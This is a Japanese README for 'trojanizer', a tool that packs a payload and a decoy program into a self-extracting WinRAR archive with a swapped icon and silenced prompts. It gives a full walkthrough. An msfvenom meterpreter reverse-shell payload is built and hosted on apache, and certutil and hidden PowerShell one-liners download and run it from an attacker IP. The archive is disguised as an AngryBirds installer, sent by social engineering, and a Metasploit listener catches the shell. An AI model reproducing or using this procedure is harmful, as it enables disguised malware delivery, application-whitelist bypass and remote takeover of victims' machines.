trojanizer

リリースバージョン : v1.1 (安定版)
著者 : pedro ubuntu  [ r00t-3xp10it ]
コードネーム: Troia_Revisited
対応ディストリビューション : Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam 開発 @2017

Trojanizer ツールは、ユーザーが入力した2つのファイルを WinRAR (SFX) で圧縮し、
SFX 実行可能 (.exe) アーカイブに変換します。sfx アーカイブが実行されると、
両方のファイル（ペイロードと正規アプリ）が同時に実行されます。

実行時にターゲットに対してアーカイブの疑念を減らすため、trojanizer は
sfx ファイルのデフォルトアイコン (.ico) をユーザーが選択したものに置き換え、
すべての SFX アーカイブサンドボックスメッセージを抑制します (Silent=1 | Overwrite=1)。

Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installed-in-wine)
"Trojanizer.sh は、必要な依存関係をすべてダウンロード/インストールします。"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
|        最初にツールを実行する前に、'settings' ファイル内のオプション SYSTEM_ARCH=[ your_sys_arch ]      |
|        を編集して設定することを推奨します。                                                  |
╚────────────────────────────────────────────────────────────────────────────────────────────╝

.exe | .bat | .vbs | .ps1
"Windows/SFX が自動的に抽出・実行できるすべてのペイロード"

ヒント: settings ファイルで 'SINGLE_EXEC=ON' を選択すると、
trojanizer は任意の拡張子の入力を受け付けます。

.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | etc ..
"Windows/SFX が自動的に抽出・実行できるすべてのアプリケーション"

╔─────────────────────────────────────────────────────────────────────────────────────────╗
|         Trojanizer の「詳細オプション」は 'settings' ファイルからのみアクセス可能であり、         |
|         メインツール (Trojanizer.sh) を実行する前に設定する必要があります。                       |
╚─────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────╗
|  単一ファイル実行スイッチのデフォルト動作は、ユーザーが入力した2つのファイルを圧縮しますが、                           |
|  抽出時にはそのうちの1つだけを実行します (2番目に入力されたファイルが実行されます) ..        |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|   多くの素晴らしい作業が多くの人々、特に @subTee によって、アプリケーションホワイトリストの回避に関して行われてきました。 |
|   これは最終的にここで望んでいることです: Microsoft の組み込みバイナリを悪用して任意のコードを実行することです。            |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝

以下の演習では、trojanizer の「単一ファイル実行」および「プリセットアップ」高度スイッチを使用して、
'certutil' または 'powershell' のアプリケーションホワイトリスト回避ワンライナーを使って、
任意のペイロードを (リモートダウンロードで) 投入して実行する方法を説明します。


1º - metasploit を使用してペイロードを作成
     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe

2º - payload.exe を apache2 のウェブルートにコピーし、サービスを開始
     cp payload.exe /var/www/html/payload.exe
     service apache2 start

3º - Trojanizer の 'settings' ファイルを編集し、以下を有効化
     PRE_SETUP=ON
     SINGLE_EXEC=ON

4º - trojanizer ツールを実行
     PAYLOAD TO BE COMPRESSED => <path-to>/screenshot.png (圧縮するファイルは重要ではありません)
     EXECUTE THIS FILE UPON EXTRACTION => <path-to>/AngryBirds.exe (デコイアプリとして実行)
     PRESETUP SANDBOX => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
     SFX FILENAME => AngryBirds_installer (作成される SFX アーカイブの名前)
     REPLACE ICON => Windows-Store.ico OR Steam-logo.ico

5º - リスナーを起動し、ソーシャルエンジニアリングを使用して SFX アーカイブをターゲットに送信
     msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'


╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|      SFX アーカイブが実行されると、apache2 ウェブサーバーから payload.exe をターゲットにダウンロードし、               |
|    'screenshot.png' と 'AngryBirds.exe' を抽出する前にそれを実行します (最後のファイルはデコイとして実行されます)。      |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝


以下のワンライナーは、'powershell(Downloadfile+start)' メソッドを使用して、前述の 'certutil' の例と同じことを実現します。
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'

以下のワンライナーは、'powershell(IEX+downloadstring)' メソッドを使用してほぼ同じことを実現します (payload.ps1 はディスクに触れません)。
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"

1º - GitHub からフレームワークをダウンロード
     git clone https://github.com/r00t-3xp10it/trojanizer.git

2º - ファイルに実行権限を設定
     cd trojanizer
     sudo chmod +x *.sh

3º - フレームワークを設定
     nano settings

4º - メインツールを実行
     sudo ./Trojanizer.sh